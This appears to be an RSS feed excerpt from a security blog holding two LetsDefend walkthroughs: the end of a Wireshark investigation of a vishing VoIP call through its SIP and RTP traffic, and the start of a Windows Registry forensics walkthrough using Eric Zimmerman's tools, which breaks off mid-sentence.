adjust the display filter by entering &lt;code&gt;rtp&lt;/code&gt; into the search field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/3395ff5c5c74788628f1c8b93f67a44a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying the number of captured RTP packets&lt;/p&gt;&#xA;&lt;p&gt;At the bottom of the window, we&amp;rsquo;ll see the total number of packets and a &lt;em&gt;Displayed&lt;/em&gt; value representing the filtered results. This is the value we need to answer &lt;strong&gt;Question 1&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2064px&#34; data-flex-grow=&#34;860&#34; height=&#34;93&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/9bf949252b0a6477bc85330cef0d0f14_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-when-did-the-fake-call-with-jamesstart&#34;&gt;Question 2: When did the fake call with James start?&#xA;&lt;/h3&gt;&lt;p&gt;Our next task is to determine when the vishing call started. While we already learned how to filter the RTP contents in the previous question, we&amp;rsquo;ll need to pivot and adjust our filter for a separate protocol this time — the &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/SIP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Session Initiation Protocol (SIP)&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Because the SIP protocol handles the management functions of VoIP calls including the creation, modification, and termination of the session, and establishing the RTP stream, we can analyze the captured SIP packets to determine the start time of the call.&lt;/p&gt;&#xA;&lt;p&gt;Turning back to our Wireshark window, let&amp;rsquo;s enter &lt;code&gt;sip&lt;/code&gt; into the search field this time. The first displayed packet („–5) is the one we want to focus on. There&amp;rsquo;s just a slight problem: the value in the time column doesn&amp;rsquo;t match the answer format, does it?&lt;/p&gt;&#xA;&lt;p&gt;No problem! We just need to make an adjustment to the &lt;em&gt;Time Display Format&lt;/em&gt;, which we can change by pressing &lt;code&gt;View &amp;gt; Time Display Format &amp;gt; Date and Time of Day&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/fae76a1c1039191ae59a7231ac158c2f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Modifying Time Display Format&lt;/p&gt;&#xA;&lt;p&gt;After we change the display format, we&amp;rsquo;ll be able to see the time value in a more readable way that matches the required answer format.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/55921972ba9ff7968653262ca102365f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying SIP call initiate time&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1811px&#34; data-flex-grow=&#34;754&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/4cccc4dcc745e8e229bf5f70bbe2d9e0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-james-phonenumber&#34;&gt;Question 3: What is the Jame&amp;rsquo;s phone number?&#xA;&lt;/h3&gt;&lt;p&gt;To answer Question 3, we need to dive into the SIP traffic to determine James&amp;rsquo; phone number. We&amp;rsquo;ll explore two ways to approach this below.&lt;/p&gt;&#xA;&lt;p&gt;The first method is to follow the SIP stream by right clicking the first packet in the stream, „–5, that we identified in the last question, then selecting &lt;code&gt;Follow &amp;gt; SIP Call&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;572&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/97d05abb60edd171a18dc5c4c3505200_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Displaying SIP stream&lt;/p&gt;&#xA;&lt;p&gt;This opens the SIP stream window where we can manually examine the assembled stream and identify the &lt;code&gt;To:&lt;/code&gt; field which represents James as the recipient of the VoIP call by number and IP address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;225px&#34; data-flex-grow=&#34;93&#34; height=&#34;729&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/fafccd6a9679b4a0092be61e7d6b6464_MD5.png&#34; width=&#34;685&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: SIP stream contents&lt;/p&gt;&#xA;&lt;p&gt;Another easier method to approach this is to leverage the &lt;em&gt;Telephony&lt;/em&gt; tools in Wireshark. To do this, click the &lt;code&gt;Telephony&lt;/code&gt; tab at the top of the Wireshark window, then select &lt;code&gt;VoIP Calls&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/9ddba90663fd278872a1a992ef696157_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: VoIP calls window&lt;/p&gt;&#xA;&lt;p&gt;Using this method provides us with an easy-to-read overview of the call including James&amp;rsquo; phone number within the &lt;code&gt;To&lt;/code&gt; column. We&amp;rsquo;ll continue to use this data to answer the next couple of questions, so keep it handy.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2232px&#34; data-flex-grow=&#34;930&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/f24d9671fae2daf6c67bfead3e311452_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-how-long-was-the-call-with-thebank&#34;&gt;Question 4: How long was the call with the bank?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;re able to answer &lt;strong&gt;Question 4&lt;/strong&gt; by examining the &lt;code&gt;VoIP Calls&lt;/code&gt; interface and checking the &lt;code&gt;Duration&lt;/code&gt; column.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/3b0c9b395e2e753fdb11e4cab0f9f32e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying the VoIP call duration&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1828px&#34; data-flex-grow=&#34;761&#34; height=&#34;105&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/b7cf914429a9742b917234ac2d605f4b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-phone-number-of-the-bank-that-james-received-a-callfrom&#34;&gt;Question 5: What is the phone number of the bank that James received a call from?&#xA;&lt;/h3&gt;&lt;p&gt;Using the same process as above, check the &lt;code&gt;From&lt;/code&gt; column to determine the phone number of the &amp;ldquo;bank.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/0b78f34020aadc4669c1c595b780d4c1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying the VoIP caller&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2064px&#34; data-flex-grow=&#34;860&#34; height=&#34;93&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/056c8d72666c874d4c53105ad4c6775b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-6-7&#34;&gt;Questions 6 &amp;amp; 7:&#xA;&lt;/h3&gt;&lt;h3 id=&#34;what-is-the-name-of-the-bankcalling&#34;&gt;What is the name of the bank calling?&#xA;&lt;/h3&gt;&lt;h3 id=&#34;what-is-jamess-socialnumber&#34;&gt;What is James&amp;rsquo;s Social Number?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve analyzed the VoIP traffic at the packet level, we&amp;rsquo;re going to pivot and actually listen to the assembled audio of the call from the &lt;code&gt;VoIP Call&lt;/code&gt; window—how cool is that?&lt;/p&gt;&#xA;&lt;p&gt;But first, in order to leverage Wireshark&amp;rsquo;s &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/docs/wsug_html_chunked/ChTelPlayingCalls.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;RTP Player&lt;/strong&gt;&lt;/a&gt; to listen to the audio content of the call, we&amp;rsquo;ll need to connect to the &lt;strong&gt;LetsDefend&lt;/strong&gt; virtual machine over the &lt;strong&gt;Remote Desktop Protocol (RDP)&lt;/strong&gt; rather than using the browser-based interface so that audio can be passed through to our speakers.&lt;/p&gt;&#xA;&lt;p&gt;So, how do we do this? According to the &lt;a class=&#34;link&#34; href=&#34;https://help.letsdefend.io/en/articles/8729133-can-t-access-to-the-labs&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend Help Center&lt;/strong&gt;&lt;/a&gt;, there is an option to manually connect with your RDP client by selecting the flag icon at the top of the LetsDefend challenge page to view the IP address of your VM and the credentials to access it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;488px&#34; data-flex-grow=&#34;203&#34; height=&#34;393&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/7d3121777f87356dde4ed2703336a76f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;LetsDefend: Locating RDP connection info&lt;/p&gt;&#xA;&lt;p&gt;Once you&amp;rsquo;ve connected to the LetsDefend environment via RDP, clear the Wireshark filters and access the &lt;code&gt;Telephony &amp;gt; VoIP Calls&lt;/code&gt; window again to display the full VoIP call contents. Press the &lt;code&gt;Play Streams&lt;/code&gt; button to access the RTP Player.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;396px&#34; data-flex-grow=&#34;165&#34; height=&#34;484&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/59f80c1c2f8668732e592e18399765cf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Location of play sound option in VoIP window&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;re finally on the RTP Player, the last step is pressing the play button to listen to the call to discover the purported name of the bank and to hear James divulge his social security number.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;380px&#34; data-flex-grow=&#34;158&#34; height=&#34;505&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/fd2343e5f13eabebf92cec6edc853a38_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: The RTP Player&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve identified these two items from the RTP player, let&amp;rsquo;s submit our answers and close out this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2064px&#34; data-flex-grow=&#34;860&#34; height=&#34;93&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/4ba98490e3e1eb7c1ea16b5a083e0f2a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/c70aae1efc5468fe1b44dfc0ca03e5b7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;461px&#34; data-flex-grow=&#34;192&#34; height=&#34;416&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/b79c9db89895e6efe19bd26bc898294e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve made it to the end! By leveraging Wireshark to examine the data of the vishing call, we&amp;rsquo;ve successfully determined the number of RTP packets that carried the content of the call, when the attack occurred, the attacker&amp;rsquo;s SIP phone number, which bank they were impersonating, and what data was compromised. Now that we have a full understanding of the attack, we can report back to James and help get him back on his feet. What great friends we are!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for another cool and interesting challenge! I selected this one because I was completely unaware that Wireshark had VoIP call analysis functions built-in, and I&amp;rsquo;ve used a separate tool for VoIP analysis in the real world. By going hands-on and being challenged to test different scenarios with familiar tools, I&amp;rsquo;ve been able to consolidate my toolkit and gain a better understanding of how I can utilize applications like Wireshark more efficiently — awesome! I hope you learned something new, too!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/voip&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/voip&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.wireshark.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark Wiki — RTP:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/RTP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://wiki.wireshark.org/RTP&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark Wiki — SIP:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/SIP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://wiki.wireshark.org/SIP&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark Docs — Playing VoIP Calls:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/docs/wsug_html_chunked/ChTelPlayingCalls.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.wireshark.org/docs/wsug_html_chunked/ChTelPlayingCalls.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;LetsDefend Help Center:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://help.letsdefend.io/en/articles/8729133-can-t-access-to-the-labs&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://help.letsdefend.io/en/articles/8729133-can-t-access-to-the-labs&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Windows Registry Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/</link>
            <pubDate>Sun, 04 May 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Windows Registry Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--windows-registry-challenge-walkthrough&#34;&gt;LetsDefend — Windows Registry Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-windows-registry-forensic-investigation-using-eric-zimmermans-registry-explorer-shellbags-explorerappcompatcacheparser-and-amcacheparser&#34;&gt;A Windows Registry forensic investigation using Eric Zimmerman&amp;rsquo;s Registry Explorer, ShellBags Explorer, &lt;strong&gt;AppCompatCacheParser, and AmcacheParser.&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/windows-registry&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/windows-registry&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/windows-registry&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Windows Registry&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This week, we&amp;rsquo;re diving deep into investigating the &lt;strong&gt;Windows Registry&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;As a cybersecurity analyst, you&amp;rsquo;ve been given an image containing all the registry hives from one of our employee&amp;rsquo;s machines. Your task is to thoroughly examine the provided artifacts and respond to a series of questions based on your analysis.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In this scenario, we&amp;rsquo;re wearing our cybersecurity analyst hat, and are handed an image with a registry dump of all of the hives from a Windows device. Our objective is to sift through the artifacts and find the information requested to move forward through our investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;What&amp;rsquo;s in our tool kit for this investigation?&lt;/strong&gt; We&amp;rsquo;re going to leverage several tools from &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s forensic&lt;/strong&gt;&lt;/a&gt; suite to parse and explore the various registry hives, including: &lt;strong&gt;Registry Explorer&lt;/strong&gt;, &lt;strong&gt;ShellBags Explorer&lt;/strong&gt;, &lt;strong&gt;AppCompatCacheParser&lt;/strong&gt;, and &lt;strong&gt;AmcacheParser&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;But that&amp;rsquo;s not all! To provide detailed explanations and enrich our investigation, we&amp;rsquo;ll refer to detailed write-ups from the &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/resource-center/blogs/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt; blog&lt;/a&gt; to gain comprehensive insights into the forensic process and how the registry works. This challenge is a great primer to the world of registry forensics! Sounds like fun, right? Let&amp;rsquo;s go!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-how-many-users-wereadded&#34;&gt;Question 1: How many users were added?&#xA;&lt;/h3&gt;&lt;p&gt;To kick off our investigation, let&amp;rsquo;s review the available tools and artifacts to orient ourselves with the analysis environment and determine how we want to approach the challenge.&lt;/p&gt;&#xA;&lt;p&gt;First, extract the archive file &lt;code&gt;RegistryImage.7z&lt;/code&gt; from the &lt;code&gt;ChallengeFile&lt;/code&gt; directory. Then, let&amp;rsquo;s take a look at the challenge artifacts. Since this is a registry challenge, we&amp;rsquo;ll start with the contents of the &lt;code&gt;ChallengeFile\C\Windows\System32\config&lt;/code&gt; directory, which is the directory where the registry files are stored. Inside, we&amp;rsquo;ll find that the folder contains a dump of the system-wide &lt;strong&gt;Windows&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Registry Hives&lt;/strong&gt;&lt;/a&gt; (SYSTEM, SAM, SOFTWARE, SECURITY, etc.) which we&amp;rsquo;ll need to analyze to tackle the investigation.&lt;/p&gt;&#xA;&lt;p&gt;Each of these hives contain different keys pertaining to various aspects of the device. Don&amp;rsquo;t worry, we&amp;rsquo;ll go into these in more detail later.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;317px&#34; data-flex-grow=&#34;132&#34; height=&#34;595&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/dc30f3e38dbac2283404f45e8e4a61e5_MD5.png&#34; width=&#34;787&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Registry Hive Artifacts&lt;/p&gt;&#xA;&lt;p&gt;Next, let&amp;rsquo;s check out the contents of the &lt;code&gt;Tools&lt;/code&gt; folder within the analysis environment. Inside, we&amp;rsquo;ll see that we have access to a number of tools, several that are used to parse and view registry hives.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;318px&#34; data-flex-grow=&#34;132&#34; height=&#34;593&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/a6c7be0ca08bdff31ba3dbeb65621d68_MD5.png&#34; width=&#34;788&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Tools Folder Contents&lt;/p&gt;&#xA;&lt;p&gt;For the first part of this investigation, we&amp;rsquo;ll be leveraging &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Registry Explorer&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; This GUI-based tool is part of Eric Zimmerman&amp;rsquo;s tool suite and is a &amp;quot; # &amp;ldquo;Registry viewer with searching, multi-hive support, plugins, and more.&amp;ldquo;To uncover the number of users on the system and answer &lt;strong&gt;Question 1,&lt;/strong&gt; we&amp;rsquo;ll need to load the &lt;strong&gt;Security Account Manager (SAM) Hive&lt;/strong&gt; which contains user information like username, group membership, and login information. To load this hive, perform the following steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open the Registry Explorer folder and launch the application.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;code&gt;File &amp;gt; Load Hive&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select the SAM hive from the &lt;code&gt;ChallengeFile\C\Windows\System32\config&lt;/code&gt; directory.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Once we load the &lt;strong&gt;SAM&lt;/strong&gt; hive with Registry Explorer, we can use the available &amp;quot; # 